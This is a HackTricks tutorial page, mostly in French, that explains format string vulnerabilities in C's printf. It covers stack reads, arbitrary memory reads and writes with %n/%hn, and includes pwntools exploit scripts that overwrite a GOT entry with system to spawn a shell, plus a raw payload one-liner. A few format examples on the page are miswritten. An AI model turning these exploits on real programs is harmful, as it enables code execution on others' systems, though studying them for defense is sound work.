hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings
2024-07-18 22:19:01 +00:00
..
format-strings-template.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:22:14 +00:00
README.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:19:01 +00:00

Format Strings

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

En C, printf est une fonction qui peut être utilisée pour imprimer une chaîne. Le premier paramètre que cette fonction attend est le texte brut avec les formatteurs. Les paramètres suivants attendus sont les valeurs à substituer aux formatteurs du texte brut.

La vulnérabilité apparaît lorsque du texte d'attaquant est utilisé comme premier argument de cette fonction. L'attaquant pourra créer une entrée spéciale abusant des capacités de format de printf pour lire et écrire des données à n'importe quelle adresse (lisible/écrivable). De cette manière, il sera capable d'exécuter du code arbitraire.

Formatters:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Exemples :

  • Exemple vulnérable :
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Utilisation normale :
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Avec des arguments manquants :
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.

Accéder aux Pointeurs

Le format %<n>$x, où n est un nombre, permet d'indiquer à printf de sélectionner le n-ième paramètre (de la pile). Donc, si vous voulez lire le 4ème paramètre de la pile en utilisant printf, vous pourriez faire :

printf("%x %x %x %x")

et vous liriez du premier au quatrième paramètre.

Ou vous pourriez faire :

printf("$4%x")

et lire directement le quatrième.

Remarquez que l'attaquant contrôle le paramètre printf, ce qui signifie essentiellement que** son entrée sera dans la pile lorsque printf est appelé, ce qui signifie qu'il pourrait écrire des adresses mémoire spécifiques dans la pile.

{% hint style="danger" %} Un attaquant contrôlant cette entrée, sera capable de ajouter une adresse arbitraire dans la pile et faire en sorte que printf y accède. Dans la section suivante, il sera expliqué comment utiliser ce comportement. {% endhint %}

Lecture Arbitraire

Il est possible d'utiliser le formatteur $n%s pour faire en sorte que printf obtienne l'adresse située à la n position, la suivant et l'imprimer comme si c'était une chaîne (imprimer jusqu'à ce qu'un 0x00 soit trouvé). Donc, si l'adresse de base du binaire est 0x8048000, et que nous savons que l'entrée utilisateur commence à la 4ème position dans la pile, il est possible d'imprimer le début du binaire avec :

from pwn import *

p = process('./bin')

payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} Notez que vous ne pouvez pas mettre l'adresse 0x8048000 au début de l'entrée car la chaîne sera coupée en 0x00 à la fin de cette adresse. {% endhint %}

Écriture Arbitraire

Le formatteur $<num>%n écrit le nombre de bytes écrits à l'adresse indiquée dans le paramètre <num> sur la pile. Si un attaquant peut écrire autant de caractères qu'il le souhaite avec printf, il pourra faire en sorte que $<num>%n écrive un nombre arbitraire à une adresse arbitraire.

Heureusement, pour écrire le nombre 9999, il n'est pas nécessaire d'ajouter 9999 "A"s à l'entrée, pour ce faire, il est possible d'utiliser le formatteur %.<num-write>%<num>$n pour écrire le nombre <num-write> à l'adresse pointée par la position num.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Cependant, notez qu'en général, pour écrire une adresse telle que 0x08049724 (qui est un énorme nombre à écrire d'un coup), on utilise $hn au lieu de $n. Cela permet de n'écrire que 2 octets. Par conséquent, cette opération est effectuée deux fois, une pour les 2 octets les plus élevés de l'adresse et une autre fois pour les plus bas.

Par conséquent, cette vulnérabilité permet de tout écrire à n'importe quelle adresse (écriture arbitraire).

Dans cet exemple, l'objectif est de surcharger l'adresse d'une fonction dans la table GOT qui sera appelée plus tard. Bien que cela puisse abuser d'autres techniques d'écriture arbitraire pour exécuter :

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

Nous allons surcharger une fonction qui reçoit ses arguments de l'utilisateur et pointer vers la fonction system.
Comme mentionné, pour écrire l'adresse, généralement 2 étapes sont nécessaires : Vous écrivez d'abord 2 octets de l'adresse puis les autres 2. Pour ce faire, $hn est utilisé.

  • HOB est appelé pour les 2 octets les plus élevés de l'adresse
  • LOB est appelé pour les 2 octets les plus bas de l'adresse

Ensuite, en raison de la façon dont fonctionne la chaîne de format, vous devez écrire d'abord le plus petit de [HOB, LOB] puis l'autre.

Si HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Si HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Modèle Pwntools

Vous pouvez trouver un modèle pour préparer un exploit pour ce type de vulnérabilité dans :

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

Ou cet exemple de base ici :

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Autres exemples et références

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}